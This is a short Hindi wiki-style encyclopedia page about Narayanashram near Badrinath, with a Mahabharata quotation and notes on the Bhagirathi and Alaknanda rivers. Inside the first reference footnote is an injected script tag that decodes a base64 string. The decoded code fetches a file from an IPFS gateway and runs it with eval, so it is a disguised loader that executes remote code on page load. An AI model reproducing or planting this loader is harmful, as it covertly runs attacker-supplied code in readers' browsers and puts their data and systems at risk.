नारायणाश्रम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

नारायणाश्रम बदरीनाथ के निकट गंगा नदी के तट पर स्थित है।[1] इस स्थान का उल्लेख महाभारत में इस प्रकार हुआ है- 'तत्रापश्यत धर्मात्मा देवदेवर्षिपूजितम्, नरनारायणस्थ नै भागीरथ्योपशोभितम्'[2]

  • यह आश्रम यद्यपि अलकनंदा नदी के तट पर स्थित है, तथापि महाभारत में इसे भागीरथी के तट पर स्थित बताया गया है।
  • भागीरथी और अलकनंदा यद्यपि गंगा की दो भिन्न शाखाएँ हैं, किन्तु यहाँ भागीरथी को अलकनंदा से अभिन्न माना गया है।
  • वास्तव में ये दो शाखाएँ ही देव प्रयाग में मिल कर गंगा कहलाती हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 493 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. महाभारत, वनपर्व 145, 41.

संबंधित लेख